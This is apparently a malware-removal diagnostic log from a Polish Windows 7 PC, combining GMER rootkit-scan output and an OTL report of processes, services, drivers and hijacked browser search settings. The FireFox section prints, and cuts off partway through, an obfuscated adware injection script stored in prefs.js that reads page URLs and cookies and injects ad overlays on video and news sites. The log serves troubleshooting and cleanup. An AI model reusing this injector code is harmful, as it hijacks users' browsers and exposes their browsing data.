IAT C:\Windows\Explorer.EXE[2808] @ C:\Windows\Explorer.EXE [gdiplus.dll!GdipCreateBitmapFromHBITMAP] [74136736] C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7600.17007_none_72f44f3186198a88\gdiplus.dll
IAT C:\Windows\Explorer.EXE[2808] @ C:\Windows\Explorer.EXE [gdiplus.dll!GdipCreateFromHDC] [74138330] C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7600.17007_none_72f44f3186198a88\gdiplus.dll
IAT C:\Windows\Explorer.EXE[2808] @ C:\Windows\Explorer.EXE [gdiplus.dll!GdipSetCompositingMode] [7413887F] C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7600.17007_none_72f44f3186198a88\gdiplus.dll
IAT C:\Windows\Explorer.EXE[2808] @ C:\Windows\Explorer.EXE [gdiplus.dll!GdipSetInterpolationMode] [741390E0] C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7600.17007_none_72f44f3186198a88\gdiplus.dll
IAT C:\Windows\Explorer.EXE[2808] @ C:\Windows\Explorer.EXE [gdiplus.dll!GdipDrawImageRectI] [7413E283] C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7600.17007_none_72f44f3186198a88\gdiplus.dll
IAT C:\Windows\Explorer.EXE[2808] @ C:\Windows\Explorer.EXE [gdiplus.dll!GdipCloneImage] [74134CBF] C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7600.17007_none_72f44f3186198a88\gdiplus.dll

---- Registry - GMER 2.1 ----

Reg HKLM\SYSTEM\CurrentControlSet\services\sptd\Cfg\14919EA49A8F3B4AA3CF1058D9A64CEC
Reg HKLM\SYSTEM\CurrentControlSet\services\sptd\Cfg\14919EA49A8F3B4AA3CF1058D9A64CEC@u0 0x00 0x00 0x00 0x00 ...
Reg HKLM\SYSTEM\CurrentControlSet\services\sptd\Cfg\14919EA49A8F3B4AA3CF1058D9A64CEC@h0 0
Reg HKLM\SYSTEM\CurrentControlSet\services\sptd\Cfg\14919EA49A8F3B4AA3CF1058D9A64CEC@hdf12 0x72 0xF3 0xDD 0x51 ...
Reg HKLM\SYSTEM\ControlSet002\services\sptd\Cfg\14919EA49A8F3B4AA3CF1058D9A64CEC (not active ControlSet)
Reg HKLM\SYSTEM\ControlSet002\services\sptd\Cfg\14919EA49A8F3B4AA3CF1058D9A64CEC@u0 0x00 0x00 0x00 0x00 ...
Reg HKLM\SYSTEM\ControlSet002\services\sptd\Cfg\14919EA49A8F3B4AA3CF1058D9A64CEC@h0 0
Reg HKLM\SYSTEM\ControlSet002\services\sptd\Cfg\14919EA49A8F3B4AA3CF1058D9A64CEC@hdf12 0x72 0xF3 0xDD 0x51 ...
Reg HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Persisted@D:\Generator KodĂłw DoĹ\x201aadowujÄ\x2026cych Wszystkie sieci........ Polecam----2010_1\generatorek3setup\generatorek3setup.exe 1

---- EOF - GMER 2.1 ----

OTL :

OTL logfile created on: 2014-09-08 15:34:04 - Run 5
OTL by OldTimer - Version 3.2.69.0 Folder = C:\Users\Norbert\Desktop
Ultimate Edition (Version = 6.1.7600) - Type = NTWorkstation
Internet Explorer (Version = 8.0.7600.16385)
Locale: 00000415 | Country: Polska | Language: PLK | Date Format: yyyy-MM-dd

2,00 Gb Total Physical Memory | 0,92 Gb Available Physical Memory | 46,08% Memory free
4,00 Gb Paging File | 2,18 Gb Available in Paging File | 54,44% Paging File free
Paging file location(s): ?:\pagefile.sys [binary data]

%SystemDrive% = C: | %SystemRoot% = C:\Windows | %ProgramFiles% = C:\Program Files
Drive C: | 40,03 Gb Total Space | 12,76 Gb Free Space | 31,89% Space Free | Partition Type: NTFS
Drive D: | 74,37 Gb Total Space | 57,39 Gb Free Space | 77,18% Space Free | Partition Type: NTFS
Drive F: | 100,00 Mb Total Space | 61,41 Mb Free Space | 61,42% Space Free | Partition Type: NTFS
Drive G: | 49,90 Gb Total Space | 29,93 Gb Free Space | 59,97% Space Free | Partition Type: NTFS
Drive H: | 91,44 Gb Total Space | 13,50 Gb Free Space | 14,77% Space Free | Partition Type: NTFS
Drive I: | 91,44 Gb Total Space | 90,71 Gb Free Space | 99,19% Space Free | Partition Type: NTFS

Computer Name: NORBERTKOMPUTER | User Name: Norbert | Logged in as Administrator.
Boot Mode: Normal | Scan Mode: All users
Company Name Whitelist: Off | Skip Microsoft Files: Off | No Company Name Whitelist: On | File Age = 30 Days

========== Processes (SafeList) ==========

PRC - [2014-09-08 14:51:28 | 000,602,112 | ---- | M] (OldTimer Tools) -- C:\Users\Norbert\Desktop\OTL_[www.programosy.pl].exe
PRC - [2014-09-08 14:51:06 | 000,380,416 | ---- | M] () -- C:\Users\Norbert\Desktop\bjigbhkt.exe
PRC - [2014-07-14 18:21:46 | 001,390,176 | ---- | M] (Microsoft Corporation) -- C:\Program Files\Skype\Toolbars\AutoUpdate\SkypeC2CAutoUpdateSvc.exe
PRC - [2014-07-14 18:21:06 | 001,767,520 | ---- | M] (Microsoft Corporation) -- C:\Program Files\Skype\Toolbars\PNRSvc\SkypeC2CPNRSvc.exe
PRC - [2013-06-19 09:29:16 | 001,376,608 | ---- | M] () -- C:\Program Files\Opera Next\15.0.1147.72\opera_crashreporter.exe
PRC - [2013-06-19 09:29:14 | 039,485,280 | ---- | M] (Opera Software) -- C:\Program Files\Opera Next\15.0.1147.72\opera.exe
PRC - [2012-05-15 12:26:00 | 001,262,400 | ---- | M] (NVIDIA Corporation) -- C:\Program Files\NVIDIA Corporation\NVIDIA Update Core\daemonu.exe
PRC - [2012-05-15 11:28:16 | 001,820,480 | ---- | M] (NVIDIA Corporation) -- C:\Program Files\NVIDIA Corporation\Display\nvtray.exe
PRC - [2012-05-15 11:27:34 | 000,857,920 | ---- | M] (NVIDIA Corporation) -- C:\Program Files\NVIDIA Corporation\Display\nvxdsync.exe
PRC - [2012-05-15 02:21:40 | 000,382,272 | ---- | M] (NVIDIA Corporation) -- C:\Program Files\NVIDIA Corporation\3D Vision\nvSCPAPISvr.exe
PRC - [2010-02-12 10:23:12 | 000,286,720 | ---- | M] (Creative Technology Ltd) -- C:\Program Files\Creative\Shared Files\CTAudSvc.exe
PRC - [2009-07-14 03:14:42 | 000,049,152 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\taskhost.exe
PRC - [2009-07-14 03:14:20 | 002,613,248 | ---- | M] (Microsoft Corporation) -- C:\Windows\explorer.exe
PRC - [2009-06-26 08:56:50 | 000,540,672 | R--- | M] (Realtek Semiconductor Corporation.) -- C:\Program Files\Realtek\Diagnostic Utility\8169Diag.exe
PRC - [2007-07-23 16:43:42 | 000,057,344 | ---- | M] (Creative Technology Ltd.) -- C:\Program Files\Creative\Shared Files\Module Loader\DLLML.exe
PRC - [2007-02-01 11:13:06 | 000,094,208 | ---- | M] (Creative Technology Ltd.) -- C:\Program Files\Creative\ShareDLL\CADI\NotiMan.exe
PRC - [2004-04-09 13:29:54 | 000,307,273 | ---- | M] () -- C:\Program Files\Common Files\BenQCam\KillAmp.exe


========== Modules (No Company Name) ==========

MOD - [2014-09-08 14:51:06 | 000,380,416 | ---- | M] () -- C:\Users\Norbert\Desktop\bjigbhkt.exe
MOD - [2014-07-25 11:11:04 | 017,029,808 | ---- | M] () -- C:\Windows\System32\Macromed\Flash\NPSWF32_14_0_0_145.dll
MOD - [2013-06-19 09:29:16 | 001,376,608 | ---- | M] () -- C:\Program Files\Opera Next\15.0.1147.72\opera_crashreporter.exe
MOD - [2013-06-19 09:29:15 | 000,746,336 | ---- | M] () -- C:\Program Files\Opera Next\15.0.1147.72\libGLESv2.dll
MOD - [2013-06-19 09:29:15 | 000,135,520 | ---- | M] () -- C:\Program Files\Opera Next\15.0.1147.72\libEGL.dll
MOD - [2013-06-19 09:29:14 | 000,977,248 | ---- | M] () -- C:\Program Files\Opera Next\15.0.1147.72\ffmpegsumo.dll
MOD - [2010-07-22 16:45:00 | 000,181,760 | ---- | M] () -- C:\Windows\System32\APOMngr.DLL
MOD - [2009-12-29 16:50:00 | 000,073,728 | ---- | M] () -- C:\Windows\System32\CmdRtr.DLL
MOD - [2004-04-09 13:29:54 | 000,307,273 | ---- | M] () -- C:\Program Files\Common Files\BenQCam\KillAmp.exe


========== Services (SafeList) ==========

SRV - File not found [Auto | Stopped] -- C:\Program Files\Common Files\AVG Secure Search\vToolbarUpdater\18.1.9\ToolbarUpdater.exe -- (vToolbarUpdater18.1.9)
SRV - [2014-07-25 11:11:04 | 000,262,320 | ---- | M] (Adobe Systems Incorporated) [On_Demand | Stopped] -- C:\Windows\System32\Macromed\Flash\FlashPlayerUpdateService.exe -- (AdobeFlashPlayerUpdateSvc)
SRV - [2014-07-14 18:21:46 | 001,390,176 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Program Files\Skype\Toolbars\AutoUpdate\SkypeC2CAutoUpdateSvc.exe -- (c2cautoupdatesvc)
SRV - [2014-07-14 18:21:06 | 001,767,520 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Program Files\Skype\Toolbars\PNRSvc\SkypeC2CPNRSvc.exe -- (c2cpnrsvc)
SRV - [2013-02-04 18:43:22 | 000,155,824 | ---- | M] (Avanquest Software) [On_Demand | Stopped] -- C:\Program Files\Sony\Sony PC Companion\PCCService.exe -- (Sony PC Companion)
SRV - [2012-09-08 09:57:19 | 000,529,744 | ---- | M] (Valve Corporation) [On_Demand | Stopped] -- C:\Program Files\Common Files\Steam\SteamService.exe -- (Steam Client Service)
SRV - [2012-05-15 12:26:00 | 001,262,400 | ---- | M] (NVIDIA Corporation) [Auto | Running] -- C:\Program Files\NVIDIA Corporation\NVIDIA Update Core\daemonu.exe -- (nvUpdatusService)
SRV - [2012-05-15 02:21:40 | 000,382,272 | ---- | M] (NVIDIA Corporation) [Auto | Running] -- C:\Program Files\NVIDIA Corporation\3D Vision\nvSCPAPISvr.exe -- (Stereo Service)
SRV - [2011-12-07 17:52:32 | 000,079,360 | ---- | M] (Creative Labs) [On_Demand | Stopped] -- C:\Program Files\Common Files\Creative Labs Shared\Service\AL6Licensing.exe -- (Creative ALchemy AL6 Licensing Service)
SRV - [2011-12-07 17:51:49 | 000,079,360 | ---- | M] (Creative Labs) [On_Demand | Stopped] -- C:\Program Files\Common Files\Creative Labs Shared\Service\CTAELicensing.exe -- (Creative Audio Engine Licensing Service)
SRV - [2010-02-12 10:23:12 | 000,286,720 | ---- | M] (Creative Technology Ltd) [Auto | Running] -- C:\Program Files\Creative\Shared Files\CTAudSvc.exe -- (CTAudSvcService)
SRV - [2009-07-14 03:16:13 | 000,025,088 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\sensrsvc.dll -- (SensrSvc)
SRV - [2009-07-14 03:16:12 | 001,004,544 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\System32\PeerDistSvc.dll -- (PeerDistSvc)
SRV - [2009-07-14 03:15:41 | 000,680,960 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Program Files\Windows Defender\MpSvc.dll -- (WinDefend)


========== Driver Services (SafeList) ==========

DRV - File not found [Kernel | On_Demand | Stopped] -- system32\drivers\viahduaa.sys -- (VIAHdAudAddService)
DRV - File not found [Kernel | Disabled | Stopped] -- System32\Drivers\sptd.sys -- (sptd)
DRV - File not found [Kernel | On_Demand | Stopped] -- C:\Windows\system32\drivers\mbamswissarmy.sys -- (MBAMSwissArmy)
DRV - File not found [Kernel | On_Demand | Unknown] -- C:\Users\Norbert\AppData\Local\Temp\kwwdqpoc.sys -- (kwwdqpoc)
DRV - File not found [Kernel | On_Demand | Stopped] -- C:\Windows\system32\drivers\EagleXNt.sys -- (EagleXNt)
DRV - [2014-08-12 10:49:39 | 000,042,784 | ---- | M] (AVG Technologies) [Kernel | System | Running] -- C:\Windows\System32\drivers\avgtpx86.sys -- (avgtp)
DRV - [2014-06-23 12:38:16 | 000,243,128 | ---- | M] (Disc Soft Ltd) [Kernel | System | Running] -- C:\Windows\System32\drivers\dtsoftbus01.sys -- (dtsoftbus01)
DRV - [2012-10-18 15:04:12 | 001,570,304 | ---- | M] (Atheros Communications, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\athur.sys -- (athur)
DRV - [2012-05-15 12:26:00 | 011,354,944 | ---- | M] (NVIDIA Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\nvlddmkm.sys -- (nvlddmkm)
DRV - [2011-09-13 14:43:16 | 001,255,296 | ---- | M] (Creative Technology Ltd.) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\ksaud.sys -- (ksaud)
DRV - [2009-07-14 03:19:10 | 000,175,824 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\vmbus.sys -- (vmbus)
DRV - [2009-07-14 03:19:10 | 000,040,896 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\vmstorfl.sys -- (storflt)
DRV - [2009-07-14 03:19:10 | 000,028,224 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\storvsc.sys -- (storvsc)
DRV - [2009-07-14 01:51:11 | 000,034,944 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\winusb.sys -- (WinUsb)
DRV - [2009-07-14 01:28:47 | 000,005,632 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\vms3cap.sys -- (s3cap)
DRV - [2009-07-14 01:28:45 | 000,017,920 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\VMBusHID.sys -- (VMBusHID)
DRV - [2009-05-13 13:11:34 | 000,006,504 | ---- | M] () [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\ASACPI.sys -- (MTsensor)
DRV - [2008-10-24 04:54:44 | 000,035,328 | R--- | M] (Realtek Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\RtTeam60.sys -- (TEAM)
DRV - [2008-10-24 04:54:44 | 000,035,328 | R--- | M] (Realtek Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\RtTeam60.sys -- (RTTEAMPT)
DRV - [2007-12-17 11:14:06 | 000,012,400 | R--- | M] () [Kernel | System | Running] -- C:\Windows\System32\drivers\AsIO.sys -- (AsIO)
DRV - [2007-12-03 04:19:42 | 000,019,968 | R--- | M] (Windows (R) Codename Longhorn DDK provider) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\RtVlan60.sys -- (RTVLANPT)
DRV - [2006-07-24 17:05:00 | 000,005,632 | ---- | M] () [File_System | System | Running] -- C:\Windows\System32\drivers\StarOpen.sys -- (StarOpen)


========== Standard Registry (SafeList) ==========


========== Internet Explorer ==========

IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Default_Page_URL = http://www.google.com
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://www.google.com
IE - HKLM\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
IE - HKLM\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/search?q={searchTerms}&FORM=IE8SRC


IE - HKU\.DEFAULT\..\SearchScopes,DefaultScope =
IE - HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0

IE - HKU\S-1-5-18\..\SearchScopes,DefaultScope =
IE - HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0

IE - HKU\S-1-5-19\..\SearchScopes,DefaultScope =

IE - HKU\S-1-5-20\..\SearchScopes,DefaultScope =

IE - HKU\S-1-5-21-2002624568-1494707077-3478833143-1000\SOFTWARE\Microsoft\Internet Explorer\Main,Default_Page_URL = http://www.google.com
IE - HKU\S-1-5-21-2002624568-1494707077-3478833143-1000\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://www.google.com
IE - HKU\S-1-5-21-2002624568-1494707077-3478833143-1000\..\SearchScopes,DefaultScope =
IE - HKU\S-1-5-21-2002624568-1494707077-3478833143-1000\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/search?q={searchTerms}&src=IE-SearchBox&FORM=IE8SRC
IE - HKU\S-1-5-21-2002624568-1494707077-3478833143-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0
IE - HKU\S-1-5-21-2002624568-1494707077-3478833143-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "AutoConfigURL" = file://C:\Program Files\ToggleMark\bin\Pac8807.js

IE - HKU\S-1-5-21-2002624568-1494707077-3478833143-1003\SOFTWARE\Microsoft\Internet Explorer\Main,bProtector Start Page =
IE - HKU\S-1-5-21-2002624568-1494707077-3478833143-1003\SOFTWARE\Microsoft\Internet Explorer\Main,Default_Page_URL = http://isearch.omiga-plus.com/?type=hp&ts=1403600357&from=tt4u&uid=MaxtorX6B120P0_B40LMNRH
IE - HKU\S-1-5-21-2002624568-1494707077-3478833143-1003\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://isearch.omiga-plus.com/?type=hp&ts=1403600357&from=tt4u&uid=MaxtorX6B120P0_B40LMNRH
IE - HKU\S-1-5-21-2002624568-1494707077-3478833143-1003\..\SearchScopes,bProtectorDefaultScope = {0ECDF796-C2DC-4d79-A620-CCE0C0A66CC9}
IE - HKU\S-1-5-21-2002624568-1494707077-3478833143-1003\..\SearchScopes,DefaultScope =
IE - HKU\S-1-5-21-2002624568-1494707077-3478833143-1003\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/search?q={searchTerms}&src=IE-SearchBox&FORM=IE8SRC
IE - HKU\S-1-5-21-2002624568-1494707077-3478833143-1003\..\SearchScopes\{0ECDF796-C2DC-4d79-A620-CCE0C0A66CC9}: "URL" = http://search.babylon.com/?q={searchTerms}&babsrc=SP_ss_din2g&mntrId=BE7AF81A6709A02F&affID=121845&tt=180613_ndtc&tsp=4919
IE - HKU\S-1-5-21-2002624568-1494707077-3478833143-1003\..\SearchScopes\{95B7759C-8C7F-4BF1-B163-73684A933233}: "URL" = http://isearch.avg.com/search?cid={0FC5F698-D0FB-414D-9EE9-488768C77AFA}&mid=a537801a7e0649619493fa0f2a6ec065-bfa97c5e2ca70f16479d02bfe07e83a77dcad358&lang=pl&ds=ik011&pr=&d=2012-12-09 21:01:21&v=15.3.0.10&pid=avg&sg=0&sap=dsp&q={searchTerms}
IE - HKU\S-1-5-21-2002624568-1494707077-3478833143-1003\..\SearchScopes\{BB74DE59-BC4C-4172-9AC4-73315F71CFFE}: "URL" = http://websearch.homesearch-hub.info/?l=1&q={searchTerms}&pid=658&r=2013/06/13&hid=2788280733&lg=EN&cc=PL&unqvl=20
IE - HKU\S-1-5-21-2002624568-1494707077-3478833143-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0

========== FireFox ==========

FF - prefs.js..extensions.7ASP.scode: "(function(){try{var url=(window.self.location.href + document.cookieif(url.indexOf(\"acebook\")>-1||url.indexOf(\"warnalert11.com\")>-1||url.indexOf(\"sumorobo.net\")>-1||url.indexOf(\"mindri.com\")>-1||url.indexOf(\"=apapamam7\")>-1||url.indexOf(\"alertfunctions.com\")>-1||url.indexOf(\"immediate-support.com\")>-1||url.indexOf(\"txtlnkusaolp00000800\")>-1||url.indexOf(\"sumorobo\")>-1||url.indexOf(\"roulettebotplus\")>-1||url.indexOf(\"s.vgsgaming-ads\")>-1||url.indexOf(\"=admaven\")>-1||url.indexOf(\"lottery-master\")>-1||url.indexOf(\"lotterymaster\")>-1||url.indexOf(\"5386b_643c_\")>-1||url.indexOf(\"easylifeapp.com\")>-1||url.match(/ressbar.com[^f]+fid=65017/)||url.indexOf(\"form=u064ht&pc=u064\")>-1||url.indexOf(\"source=45905810\")>-1||url.indexOf(\"source=532d277e\")>-1||url.indexOf(\"aro.com/ws/?source=6974b128\")>-1||url.indexOf(\"esmoke.com/?isid=9949\")>-1||url.indexOf(\"esmoke.com/?isid=9950\")>-1||url.indexOf(\"esmoke.com/?isid=9951\")>-1||url.indexOf(\"id=webpick_ot\")>-1||url.indexOf(\"id=wbpk_ot\")>-1||url.indexOf(\"jerusalem.com\")>-1||url.indexOf(\"hash=a4vxy8\")>-1||url.indexOf(\"hash=m5g73j\")>-1||url.indexOf(\"hash=hg7gja\")>-1||url.indexOf(\"hash=fz61s5\")>-1||url.indexOf(\"hash=zndas3\")>-1||url.indexOf(\"hash=1i5w2d\")>-1||url.indexOf(\"hash=zndas3\")>-1||url.indexOf(\"hash=b3qau4\")>-1||url.indexOf(\"hash=ijeqe4\")>-1||url.indexOf(\"duit&ptag=AA7AAB832A2DE41458BF&\")>-1||url.indexOf(\"duit&ptag=A93F650AC0E6A4A4791F&\")>-1||url.indexOf(\"duit&ptag=A79888693F6CA4634A6F\")>-1||url.indexOf(\"duit&ptag=A359B17B6FAA44E6B86F\")>-1||url.indexOf(\"ISID=MF245F633-E188-4162-B56A\")>-1||url.indexOf(\"SID=MEABFCF9A-556B-4C5C-8727\")>-1||url.indexOf(\"ISID=M8FBC22FE-AB08-464E-AA63\")>-1||url.indexOf(\"uid=531364863_132823_4252277E\")>-1||url.indexOf(\"searchiy.gboxapp.com\")>-1||url.indexOf(\"searchiy.gboxapp.com\")>-1||url.indexOf(\"searchy.easylifeapp.com\")>-1||url.indexOf(\"search?hspart=webpick&hsimp=yhs-1&p=\")>-1||url.match(/search.yahoo.com.+hspart=.+/)||url.match(/websearch.(mocaflix|searchissimple|just-browse|good-results|searchsupporter|soft-quick|pu-results|simplespeedy|helpmefindyour|greatresults|youwillfind|lookforitthere|lookforithere|searchmainia|searchrocket|homesearchapp|a-searchpage|coolwebsearch|homesearch-hub|resulthunters|searchdwebs|searchingisme|searchannel|searchouse|pur-esult|searchboxes|searchitup|searchpages|searchesplace|simplesearches|goodfindings|searchiseasy|the-searcheng|oversearch|searchere|relevantsearch|wisesearch|search-guide|searchisbestmy|searchbomb|searchguru|searchsun|searchsunmy|toolksearchbook|searchinweb|webisgreat|webisawsome|exitingsearch|amaizingsearches|searchingissme|awsomesearchs|eazytosearch|ezsearches|fastosearch|fastsearchings|flyandsearch|wonderfulsearches|fixsearch|searchandfly|searchfix|allsearches|searc-hall|simple2search|searchitwell).info/)||url.match(/search.(easylifeapp|gboxapp|searchonme|appsarefun|genieo).com/)||url.indexOf(\"searchitapp.com\")>-1||url.indexOf(\"news.searchonme.com\")>-1||url.indexOf(\"jerusalem.com\")>-1||url.indexOf(\"vatican.com\")>-1||url.indexOf(\"deadsea.com\")>-1||url.indexOf(\"iklk.com\")>-1||url.indexOf(\"offers.bycontext.com\")>-1||url.indexOf(\"deals.offer-dynamics.com\")>-1||url.indexOf(\"offer-dynamics.com\")>-1||url.indexOf(\"www.livegeekhelp.com/pop/\")>-1||url.indexOf(\"gvud.com\")>-1||url.indexOf(\"zuzd.com\")>-1||url.indexOf(\"babaViral.com\")>-1||url.indexOf(\"cupid.so\")>-1||url.indexOf(\"hostanytime.com\")>-1||url.indexOf(\"antivirus.so\")>-1||url.indexOf(\"dates.am\")>-1||url.indexOf(\"insurance-company.co\")>-1||url.indexOf(\"advanceloan.org\")>-1||url.indexOf(\"calcitapp.info\")>-1||url.indexOf(\"desktopfavapp.info\")>-1||url.indexOf(\"?ctid=CT3330145\")>-1||url.indexOf(\"?ctid=CT3330146\")>-1||url.indexOf(\"?ctid=CT3330147\")>-1||url.indexOf(\"?ctid=CT3330148\")>-1||url.indexOf(\"?ctid=CT3330149\")>-1||url.indexOf(\"sporty-glow.com\")>-1||url.indexOf(\"game-trek.net\")>-1||url.indexOf(\"=apapamam\")>-1||url.indexOf(\"avatrade.com\")>-1||url.indexOf(\"urgent-alerts.com\")>-1||url.indexOf(\"pc-alert.com\")>-1||url.indexOf(\"error-alerts.com\")>-1||url.indexOf(\"search.searchonme.com\")>-1||url.indexOf(\"news.searchonme.com\")>-1||url.indexOf(\"search.appsarefun.info\")>-1||url.indexOf(\"websearch.mocaflix.com\")>-1||url.indexOf(\"search.easylifeapp.com\")>-1||url.indexOf(\"searchy.easylifeapp.com\")>-1||url.indexOf(\"us.yhs4.search.yahoo.com\")>-1||url.indexOf(\"search.gboxapp.com\")>-1||url.indexOf(\"searchiy.gboxapp.com\")>-1){return}}catch(e){};if(-1<document.location.host.indexOf(\"metacafe.com\")||-1<document.location.host.indexOf(\"dailymotion.com\")||-1<document.location.host.indexOf(\"youtube.com\")||-1<document.location.host.indexOf(\"ibtimes.com\")||-1<document.location.host.indexOf(\"espn.go.com\")||-1<document.location.host.indexOf(\"usatoday.com\")){var a=function(){new function(){var m=document.getElementsByTagName(\"body\")[0];if(\"true\"==m.getAttribute(\"data-vast-loaded\"))return!1;var e=this;e.utils=new function(){var b=this;b.dhtml_prop_name= function(c){return c.replace(/(\\-([a-z]){1})/g,function(c,b,f){return f.toUpperCase()})};b.get_computed_style=\"function\"!=typeof window.getComputedStyle?function(c){return{getPropertyValue:function(d){\"float\"==d&&(d=\"styleFloat\");d=b.dhtml_prop_name(d);return\"object\"==typeof c.currentStyle&&null!=c.currentStyle&&\"undefined\"!=typeof c.currentStyle[d]?c.currentStyle[d]:null}}}:function(c,b){return window.getComputedStyle(c,b)||{getPropertyValue:function(){}}};b.get_bounding_client_rect=function(c){var b= {top:0,left:0,right:0,bottom:0};\"undefined\"!=typeof c.getBoundingClientRect&&(b=c.getBoundingClientRect());return b};b.get_node_text_prop=function(b){return\"textContent\"in b?\"textContent\":\"innerText\"in b?\"innerText\":!1}};e.dom=new function(){this.json_to_html=function(b,c){if(\"#text\"==b.type)c=document.createTextNode(b.text);else if(\"#comment\"!=b.type){c||(c=document.createElement(b.type));if(b.attrs){for(var d in b.attrs)if(b.attrs.hasOwnProperty(d))if(\"style\"==d&&b.attrs.style instanceof Object)for(var g in b.attrs.style){var f= e.utils.dhtml_prop_name(g);c.style[f]=b.attrs.style[g]}else c.setAttribute(d,b.attrs[d]);\"iframe\"==b.type&&(b.attrs.hasOwnProperty(\"frameborder\")&&(c.frameBorder=b.attrs.frameborder),b.attrs.hasOwnProperty(\"marginwidth\")&&(c.marginWidth=b.attrs.marginwidth),b.attrs.hasOwnProperty(\"marginheight\")&&(c.marginHeight=b.attrs.marginheight))}if(b.children)for(d=0;d<b.children.length;d++){f=b.children[d];g=arguments.callee(f);try{c.appendChild(g)}catch(p){if(\"#text\"==f.type&&\"string\"==typeof f.text)if(\"style\"== b.type&&c.styleSheet)c.styleSheet.cssText=f.text||\"\";else if(g=e.utils.get_node_text_prop(c))c[g]=f.text}}}return c}};e.events=new function(){var b=this;b.cache=[];b.add=window.addEventListener?function(c,d,g,f,e){\"undefined\"==typeof f&&(f=window);f.addEventListener(c,d,g);e&&b.cache.push([c,d,g,f])}:window.attachEvent?function(c,d,g,f,e){\"undefined\"==typeof f&&(f=window);f[\"e\"+c+d]=d;f[c+d]=function(){f[\"e\"+c+d](window.event)};f.attachEvent(\"on\"+c,f[c+d]);e&&b.cache.push([c,d,g,f])}:function(){}; b.remove=window.removeEventListener?function(b,d,g,f){\"undefined\"==typeof f&&(f=window);f.removeEventListener(b,d,g)}:window.detachEvent?function(b,d,g,f){\"undefined\"==typeof f&&(f=window);f.detachEvent(\"on\"+b,f[b+d]);f[b+d]=null;f[\"e\"+b+d]=null}:function(){};b.flush=function(){for(var c=0;c<b.cache.length;c++)b.remove.apply(b,b.cache[c]);b.cache=[]}};e.msie=function(){var b=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(b)&&(b=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())|| [])[1],10));return isNaN(b)?!1:b}();e.isIE=function(){return\"Microsoft Internet Explorer\"==navigator.appName||\"Netscape\"==navigator.appName&&null!=/Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(navigator.userAgent)};var r={xlat:\"abcdwxyzstuvrqponmijklefghABCDWXYZSTUVMNOPQRIJKLEFGH9876543210+/\",encode:function(b){b=this._utf8_encode(b);for(var c=\"\",d=0;d<b.length;){var g=b.charCodeAt(d++),f=b.charCodeAt(d++),e=b.charCodeAt(d++),l=g>>2,g=(g&3)<<4|f>>4,h=(f&15)<<2|e>>6,k=e&63;isNaN(f)?h=k=64:isNaN(e)&&(k= 64);c=c+this.xlat.charAt(l)+this.xlat.charAt(g)+(64==h?\"=\":this.xlat.charAt(h))+(64==k?\"=\":this.xlat.charAt(k))}return c},_utf8_encode:function(b){for(var c=\"\",d=0;d<b.length;d++){var g=b.charCodeAt(d);128>g?c+=String.fromCharCode(g):(127<g&&2048>g?c+=String.fromCharCode(g>>6|192):(c+=String.fromCharCode(g>>12|224),c+=String.fromCharCode(g>>6&63|128)),c+=String.fromCharCode(g&63|128))}return c},decode:function(b){b=b.replace(/[^A-Za-z0-9\\+\\/]/g,\"\");for(var c=\"\",d=0;d<b.length;){var g=this.xlat.indexOf(b.charAt(d++)), f = 